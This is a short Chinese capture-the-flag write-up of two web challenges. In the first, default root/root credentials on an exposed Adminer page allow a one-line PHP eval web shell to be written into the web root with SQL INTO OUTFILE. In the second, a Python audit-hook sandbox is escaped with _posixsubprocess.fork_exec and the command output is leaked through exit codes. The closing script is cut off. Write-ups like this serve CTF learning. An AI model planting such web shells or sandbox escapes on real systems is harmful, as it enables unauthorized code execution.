WEB
打卡OK
非预期
我们扫描目录,发现有个发现adminer_481.php
我们使用数据库的默认账号密码 root/root 登录
我们尝试写入shell
1 | select "<?php @eval($_POST[1]); ?>" into outfile "/var/www/html/1.php"; |
用蚁剑进行连接
在根目录里找到flag
ezoj
我们在页面的最下面找到了一个/source
我们访问/source能看到OJ的源码,从源码中我们可以发现,OJ在执行时,会使用audithook限制代码行为。限制方法为白名单,只允许["import","time.sleep","builtins.input","builtins.input/result"]
的事件执行。
sys.addaudithook
是 Python 3.8 引入的一个函数,它允许你注册一个“审计钩子”(audit hook)。审计钩子是一个回调函数,当 Python 中的特定事件发生时,它会被调用。这可以用于调试、日志记录或安全审计等目的。
先尝试获取python版本,发现OJ会将程序的退出码回显给用户,可以利用这个回显信息。
获取了sys.version_info
的三个值后,可以得到python版本3.12.9
。
根据白名单的内容,允许导入模块,但是导入其他模块需要用到compile和exec,因此只能导入内部模块。
在内部模块中发现了_posixsubprocess,该模块能够fork_exec
执行任意命令同时内部没有触发审计。
由于题目不出网而且也无法直接回显,因此需要把执行程序的标准输出读出来。在源码中可以发现c2pwrite参数会重定向到子进程的标准输出
1 | if (c2pwrite == 1) { |
因此使用下面的脚本,执行命令并将结果写入到退出码中。
1 |
|